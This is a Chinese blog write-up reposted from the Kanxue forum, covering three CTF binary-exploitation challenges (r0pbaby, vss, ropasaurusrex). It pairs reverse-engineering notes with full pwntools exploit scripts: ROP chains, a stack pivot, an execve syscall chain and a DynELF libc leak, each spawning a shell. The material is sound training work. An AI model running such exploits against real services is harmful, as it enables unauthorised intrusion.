Pwn从入门到放弃
2020-01-16 19:01:13 Author: mp.weixin.qq.com(查看原文) 阅读量:144 收藏

bugchong 看雪学院


本文为看雪论坛优秀文章

看雪论坛作者ID:bugchong

本文为3道CTF题目的学习心得。

题目一

题目

这是一道Defcon 2015 Qualifier上的PWN题目,名叫r0baby。

第一步:首先拿到题目,先checksec看一下:

程序为64位小端,并且开启了NX(堆栈不可执行)、PIE(地址随机化ASLR)和Fortify保护(一种增强保护机制,防止缓冲区溢出攻击,会替换诸如memcpy、memset、strcpy等危险函数)。

第二步:运行看看:



发现有4个选项:

1、获得libc地址

2、获得libc中某个函数的地址

3、向栈中输入小于1024长度的任意数据

4、退出程序

先选择1看看:




再选择2,输入system看看:



再选择3,随便输入点东西看看:




发现输入了若干字符,居然报错了(熟悉的Segmentation fault)。

第三步:用gdb看看究竟在哪里崩了:




可以看到崩溃在了0x555555554eb3:ret的地方。


通过pattern_offset计算,可以得知溢出点在8个字节处:


第四步:将程序丢到IDA中,发现函数并不多,一眼便可以看到main入口函数,F5伪代码可以看到,程序会调用系统默认的libc.so.6这个库。


通过运行libc.so.6,可以获得当前系统运行的libc版本:

解题思路

1、由于开启了ASLR,因此需要知道当前执行时的system和'/bin/sh'的地址

2、知识点:64位系统中函数传参使用的寄存器顺序是RDI,RSI,RDX,RCX,R8,R9

3、在调用system函数时,先给RDI寄存器赋值为'/bin/sh'

4、因此需要使用pop rax; pop rdi; call rax这样顺序的一条指令

5、可以通过实时运行时的system地址-system偏移地址,从而得到system的基址,而后即可通过system基址+'/bin/sh'和ppc的偏移地址,即可得到它们两个的实时地址。

6、栈溢出布局如下:


第五步:将libc.so丢到IDA中,确定system以及bin/sh的地址:



第六步:利用ROPgadget找到合适的ppc地址:

最终利用EXP代码:

from pwn import *
 
p = process('./r0pbaby')
ppc_addr_offset = 0xfa2cb
sh_addr_offset = 0x183cee
sys_addr_offset = 0x46ff0
 
p.recvuntil(": ")
p.sendline("2")
p.recvuntil(": ")
p.sendline("system")
system_addr = p.recvline().split(": ")[1].strip("\n")
system_addr = long(system_addr,16)
system_base_addr = system_addr - sys_addr_offset
print "system_base: %x" % system_base_addr
sh_address = system_base_addr + sh_addr_offset
print "sh_address: %x" % sh_address
ppc_address = system_base_addr + ppc_addr_offset
print "ppc_address: %x" % ppc_address
 
p.recvuntil(": ")
p.sendline("3")
p.recvuntil(": ")
payload = "A" * 8 + p64(ppc_address) + p64(system_addr) + p64(sh_address)
print payload
length = str(len(payload))
print length
p.sendline(length)
p.sendline(payload)
p.interactive()

参考资料:


https://www.jianshu.com/p/982a9f09a739

https://blog.csdn.net/weixin_34112030/article/details/89664399

题目二

该题目是AliCTF 2016中一道题,vss。
第一步
checksec看一下该程序开了哪些保护:
同样也是64位小端,只开启了RELOR和NX两项保护。
第二步
运行该程序看看:
让输入一段password,随便输入了几个字母,没有任何正确和错误的提示
第三步
用gdb调试看看:
 
 
发现崩溃在了0x401124处,movzx eax,BYTE PTR [rbp+rax*1-0x40],但似乎无法计算溢出位置。
第四步
将该程序丢到IDA看一下:
发现函数无法识别,应该是使用了strip将符号信息做了剔除。程序定位在了start处。
知识点1:strip,简单的说就是给文件脱掉外衣,具体就是从特定文件中剥掉一些符号信息和调试信息,使文件变小。
第五步
寻找main函数入口,这里有两种方法,一种是通过经验判断,在start末尾处的call,应该是libc_start_main函数,而其上方处offset sub_4011B1应该就是main函数了。另一种是,直接shift+F12通过字符串查找“password”,找到main函数。

第六步
进入main函数后,F5查看伪代码:

其中sub_473EA0应为read函数,猜测应该是用于读取password的输入。
 
在进入sub_40108E函数时,发现了对于读取输入值后的逻辑判断:
 
 
如果是以“py”开头,则直接返回,后面的循环判断看的懵,没办法,C/C++功底太差,@_@
 
 
另外,在40108E函数中看到疑似strncpy的函数。
知识点2:strncpy函数是将输入内容的指定长度字符串复制给一个字符串数组中,代码举例:
#include<stdio.h>
#include<string.h>
int main(){
    char name [] = {"Chinanet"},destin[20]={};
    strncpy(destin,name,3);
    printf("%s\n",destin);
}
 
打印输出的结果为"Chi"
第七步
动态调试看看吧,因为我使用的是linux的虚拟机,因此需要使用IDA来远程动态调试。
在sub437EA0和sub40108E处下个断,输入70个"A"和10个"1",然后动态跟一下栈状态:
 
输入70个"A"和10个"1"时的,栈帧状态:
 

第八步
由于可控可执行的栈空间73~80(8个字节),因此需要利用stack pivot技术将栈顶上移到main栈帧空间中利用(因为main函数申请了400h的空间),然后再构造ropchain:
第九步
程序由于没有引入libc.so,因此只能考虑使用程序中的syscall,利用syscall来调用所需的函数。
知识点3:关于syscall的调用方法,可以参看syscall调用表。
https://www.cnblogs.com/tcctw/p/11450449.html
第十步
栈溢出布局思路(自带画图工具凑合画的):
另外,由于需要使用syscall来调用所需函数,因此需要为syscall调用时的参数进行布局,上篇文章已经提过了,关于64位寄存器,依次是rdi、rsi、rdx、rcx、r8、r9,而read和sys_execve都是需要三个参数的,所以我们们要找到类似pop rdi、pop rsi、pop rdx的命令来控制三个参数。
第十一步
有两种方法,一种利用ROPgadget直接找到并生成可利用的ROPchain,另一种方法是通过ROPgadget找到一处add rsp xxx(大于0x50),然后布置ROP链。
两种EXP代码如下:
python ROPgadget.py --binary ~/Desktop/vss/vss --ropchain
代码一:
from pwn import *
from struct import pack
p = remote('127.0.0.1',4000)
recv_content = p.recvuntil('Password:\n')
p2 = ''
p2 += pack('<Q'0x0000000000401937# pop2 rsi ; ret
p2 += pack('<Q'0x00000000006c4080# @ .data
p2 += pack('<Q'0x000000000046f208# pop2 rax ; ret
p2 += '/bin//sh'
p2 += pack('<Q'0x000000000046b8d1# mov qword ptr [rsi], rax ; ret
p2 += pack('<Q'0x0000000000401937# pop2 rsi ; ret
p2 += pack('<Q'0x00000000006c4088# @ .data + 8
p2 += pack('<Q'0x000000000041bd1f# xor rax, rax ; ret
p2 += pack('<Q'0x000000000046b8d1# mov qword ptr [rsi], rax ; ret
p2 += pack('<Q'0x0000000000401823# pop2 rdi ; ret
p2 += pack('<Q'0x00000000006c4080# @ .data
p2 += pack('<Q'0x0000000000401937# pop2 rsi ; ret
p2 += pack('<Q'0x00000000006c4088# @ .data + 8
p2 += pack('<Q'0x000000000043ae05# pop2 rdx ; ret
p2 += pack('<Q'0x00000000006c4088# @ .data + 8
p2 += pack('<Q'0x000000000041bd1f# xor rax, rax ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045e790# add rax, 1 ; ret
p2 += pack('<Q'0x000000000045f2a5# syscall ; ret
payload1 = 'py' + 'A' * (0x4e - 0x8) + p64(0x000000000044892a) + 'A' * (0xd0 - 0x50) + p2
p.sendline(payload1)
p.interactive()
代码二:
#!/usr/bin/python
#coding:utf-8
from pwn import *
 
io=process('./vss')
payload = ""
payload += 'py'                     #头两位为py,过检测
# payload += p64(0x6161616161617970)
payload += 'a'*0x46                 #padding
payload += p64(0x46f205#add esp, 0x58; ret
payload += 'a'*8                    #padding
payload += p64(0x43ae29#pop rdx; pop rsi; ret 为sys_read设置参数
payload += p64(0x8#rdx = 8
payload += p64(0x6c7079#rsi = 0x6c7079,可用的bss段,用于存放'/bin/sh'
payload += p64(0x401823#pop rdi; ret 为sys_read设置参数
payload += p64(0x0#rdi = 0
payload += p64(0x437ea9#mov rax, 0; syscall 调用sys_read
payload += p64(0x46f208#pop rax; ret
payload += p64(59#rax = 0x3b
payload += p64(0x43ae29#pop rdx; pop rsi; ret 为sys_execve设置参数
payload += p64(0x0#rdx = 0
payload += p64(0x0#rsi = 0
payload += p64(0x401823#pop rdi; ret 为sys_execve设置参数
payload += p64(0x6c7079#rdi = 0x6c7079
payload += p64(0x437eae#syscall
 
print io.recv()
io.send(payload)
sleep(0.1#等待程序执行,防止出错
 
io.send('/bin/sh\x00')
io.interactive()
 
参考
https://bbs.ichunqiu.com/thread-42534-1-1.html
https://www.cnblogs.com/ichunqiu/p/11238429.html
https://www.jianshu.com/p/157ab3347baa
https://blog.csdn.net/Breeze_CAT/article/details/95272143

题目三

该题目是plaidctf-2013的一道题,ropasaurusrex。
第一步
checksec看一下该程序开了哪些保护:
 
 
程序为32位小端,保护只开启了NX保护,意味着堆栈不可执行。
第二步
运行该程序看看:
 
 
待你输入内容后,会给一些的反馈。
第三步
gdb动态调试一下看看:
 
可以看到,崩溃在140处,因此可以知道返回地址在144字节处。
第四步
同样,将程序丢到IDA中看一下:
 
 
发现程序逻辑相对还是比较简单的,在main中,发现sub_80483F4函数中存在可利用的溢出漏洞,另外发现该程序中并没有可利用的system和'/bin/sh',但却存在read和write函数。
 
第五步
溢出思路:
1. 由于程序没有提供libc.so文件,故需要将返回地址覆盖为write@plt,利用write@plt将read@got内容打印出来从而获得libc、system等函数的地址
2. 计算system和'/bin/sh'地址
3. 然后通过gadget指令重新跳转至sub_80483F4再次溢出,将返回地址覆盖
为system,将'/bin/sh'地址部署在相应的参数位置即可。
知识点
GOT(Global Offset Table,全局偏移表)是Linux ELF文件中用于定位全局变量和函数的一个表。

PLT(Procedure Linkage Table,过程链接表)是Linux ELF文件中用于延迟绑定的表,即函数第一次被调用的时候才进行绑定。

延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序。
栈布局:
 
第六步
我们可以利用DynELF来轻松获得程序某函数的实际运行地址。
知识点2:DynELF,是pwntools中有一个很方便的类,可以通过使用该类利用泄露函数,从而获取程序的system、read等函数地址。
第七步
最终的EXP代码:

#-*- coding: utf-8 -*-
from pwn import *
 
p = process('./ropasaurusrex')
elf = ELF('./ropasaurusrex')
write_plt_addr = elf.symbols['write']
start_addr = 0x08048340
bin_sh_addr = 0x08049628    #空白的可写.bss地址
 
#利用write@plt获取read@got地址
def leak(addr):
    payload = "A" * 140
    payload += p32(write_plt_addr)
    payload += p32(start_addr) #为了使程序不至于崩溃,因此将返回地址设置为程序的start地址
    payload += p32(1#write参数1,int fd(文件描述符)
    payload += p32(addr) #write参数2,buf(指定的缓冲区,即指向read的指针)
    payload += p32(4#write参数3,要写入的字节数
    p.sendline(payload)
    content = p.recv(4)
    # print("%#x => %s" % (addr, (content or '').encode('hex')))
    return content
 
 
d = DynELF(leak, elf = elf )
system_addr = d.lookup('system','libc')
read_addr = d.lookup('read','libc')
print ("system_address: %#x" % system_addr)
print ("read_address: %#x" % read_addr)
 
base_addr = read_addr - elf.symbols['read']
print ("base_address: %#x" % base_addr)
 
payload = "A" *140
payload += p32(read_addr)
payload += p32(system_addr)
payload += p32(0)
payload += p32(bin_sh_addr)
payload += p32(8)
 
p.sendline(payload)
p.sendline('/bin/sh\x00')
p.interactive()

参考
 
https://bbs.ichunqiu.com/thread-42933-1-1.html?from=aqzx1
https://www.jianshu.com/p/590bc1d6c292
http://www.baymrx.me/2019/08/19/PWN%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95%E2%80%94%E2%80%942013-PlaidCTF-ropasaurusrex/
https://www.jianshu.com/p/6626a866ad66

- End -

看雪ID:bugchong

https://bbs.pediy.com/user-510716.htm 

*本文由看雪论坛  bugchong  原创,转载请注明来自看雪社区

推荐文章++++

应急服务辅助工具与系统溯源思路

利用auxv控制canary

未知黑客团队钓鱼样本分析

使用Binary Ninja去除ollvm流程平坦混淆

某盗链App逆向

好书推荐


公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]
“阅读原文”一起来充电吧!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458302897&amp;idx=1&amp;sn=a10ce0e661194a2433f6b539fcf5535e&amp;chksm=b181893b86f6002d1f9c07f0dba1ceb1bb8fee939bec4adafa088a5d352c1dc992f44e009b83#rd
如有侵权请联系:admin#unsafe.sh